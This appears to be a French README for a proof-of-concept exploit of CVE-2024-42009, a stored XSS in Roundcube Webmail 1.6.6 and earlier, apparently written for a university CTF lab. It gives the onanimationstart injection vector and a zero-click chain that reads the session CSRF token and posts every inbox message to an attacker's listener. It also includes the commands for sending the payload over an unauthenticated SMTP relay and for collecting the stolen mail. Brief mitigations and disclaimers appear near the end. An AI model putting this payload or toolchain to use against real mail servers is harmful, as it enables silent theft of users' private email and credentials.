
Exploit XSS stocké pour Roundcube Webmail ≤1.6.6 (CVE-2024-42009) avec exfiltration d'email zero-click via des gestionnaires d'événements d'animation CSS. Inclut un script de livraison SMTP et un écouteur compatible CORS pour CTF et tests de sécurité autorisés.
Pour les tests de sécurité autorisés, les environnements CTF et la recherche éducative uniquement.
L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale en vertu du Computer Misuse Act 1990 (Royaume-Uni), du CFAA (États-Unis) et des lois équivalentes dans le monde entier.
| Champ | Détail |
|---|---|
| CVE | CVE-2024-42009 |
| Logiciel affecté | Roundcube Webmail ≤ 1.6.6 |
| Version corrigée | 1.6.7 / 1.6.8 |
| Score CVSS v3.1 | 8.8 (Élevé) |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — Neutralisation incorrecte des entrées lors de la génération de pages Web (XSS) |
| Type d'attaque | XSS stocké → Exfiltration d'emails sans clic |
| Authentification requise | Aucune (envoi SMTP) ; Faible (la victime doit ouvrir l'email) |
Le sanitiseur HTML de Roundcube 1.6.6 ne parvient pas à supprimer les gestionnaires d'événements JavaScript attachés aux keyframes d'animation CSS dans un attribut malformé de la balise <body>.
Vecteur d'injection :
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* JS arbitraire */">
Lorsque la victime ouvre l'email dans sa session Roundcube authentifiée, l'animation CSS se déclenche immédiatement. Le gestionnaire onanimationstart s'exécute avec un accès complet à l'objet JavaScript rcmail, y compris le request_token de la session.
Chaîne d'exploitation :
1. L'attaquant envoie un email HTML malveillant à la victime via un relais SMTP non authentifié (port 25)
2. La victime ouvre l'email dans Roundcube — l'animation se déclenche, le JS s'exécute (zéro clic requis)
3. Le JS lit rcmail.env.request_token (jeton CSRF valide pour la session)
4. Le JS parcourt tous les UID de la boîte de réception via l'API mail interne de Roundcube
5. Chaque message est récupéré et son contenu collecté
6. Toutes les données de la boîte de réception sont POSTées au format JSON vers l'écouteur HTTP de l'attaquant
7. L'attaquant lit les emails récupérés — peut contenir des identifiants, des données de session ou des communications sensibles
cve-2024-42009-roundcube-xss/
├── exploit.py # Envoie la charge utile XSS via SMTP non authentifié
├── listener.py # Serveur HTTP compatible CORS ; reçoit et affiche les données exfiltrées
├── payload.html # Charge utile XSS autonome pour inspection manuelle ou livraison via Burp
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
Sortie lorsque des données arrivent :
[+] Exfiltration reçue de 192.168.62.128
[*] Jeton de session : abc123...
[*] Emails capturés : 19
--- Email 1 ---
UID : 1
De : [email protected]
Sujet : Identifiants SSH
Corps : Vos identifiants sont : ...
Le dump JSON complet est automatiquement sauvegardé dans exfil_dump.json.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Avis de sécurité - Action requise"
Une fois l'email ouvert dans Roundcube ≤ 1.6.6, l'écouteur affichera le contenu exfiltré de la boîte de réception.
Le purificateur HTML de Roundcube est responsable du retrait des attributs dangereux avant d'afficher le HTML des emails entrants. Dans les versions ≤ 1.6.6, le purificateur retire correctement les gestionnaires onclick, onerror et similaires — mais il ne retire pas les gestionnaires d'événements sur les animations CSS (onanimationstart, onanimationend, onanimationiteration).
Comme les animations CSS se déclenchent lors du rendu (et non d'une interaction utilisateur), le gestionnaire s'exécute dès que l'email est ouvert — aucun clic sur un lien, aucune action de l'utilisateur au-delà de l'ouverture du message.
L'objet JavaScript rcmail est accessible globalement dans chaque session Roundcube authentifiée. Il expose rcmail.env.request_token, qui est le jeton CSRF de la session. Combiné avec les propres points de terminaison de l'API mail de Roundcube (?_task=mail&_action=list, ?_action=show), la charge utile peut lire l'intégralité de la boîte de réception sans déclencher d'authentification supplémentaire.
| Version | Statut |
|---|---|
| ≤ 1.6.6 | Vulnérable |
| 1.6.7 | Corrigée |
| 1.6.8 | Corrigée (recommandée) |
| 1.5.x LTS | Consulter l'avis du fournisseur |
| Action | Détail |
|---|---|
| Mise à niveau | Roundcube 1.6.8 ou ultérieur corrige cette classe de XSS |
| En-tête CSP | Déployer Content-Security-Policy: default-src 'self'; script-src 'self' sur le vhost de webmail pour bloquer l'exécution de JS en ligne |
Ce PoC a été développé et testé dans le cadre d'une évaluation de test d'intrusion Boot-to-Root CTF dans le module Ethical Hacking and Penetration Testing, MSc Cybersecurity, Coventry University (2025–2026). Tous les tests ont été menés dans un environnement de laboratoire VMware isolé avec une autorisation écrite explicite.
Auteur : Segun Akinsoyinu
Portfolio : segunakinsoyinu.github.io/MyPortfolio
Ce code est publié uniquement à des fins éducatives et de recherche de sécurité autorisée. L'auteur décline toute responsabilité en cas d'utilisation abusive. Avant d'utiliser cet outil, confirmez que vous disposez d'une autorisation écrite explicite pour tester le système cible.
| Argument | Description |
|---|
--smtp | IP ou nom d'hôte du serveur SMTP cible |
--port | Port SMTP (défaut : 25) |
--from | Adresse de l'expéditeur (toute valeur acceptée par le relais) |
--to | Adresse email de la victime |
--attacker | Votre IP — intégrée dans la charge utile comme collecteur d'exfiltration |
--lport | Port de votre écouteur (défaut : 8080) |
--subject | Ligne d'objet de l'email |
| Relais SMTP | Désactiver le relais non authentifié sur le port 25 — exiger AUTH pour toute livraison interne |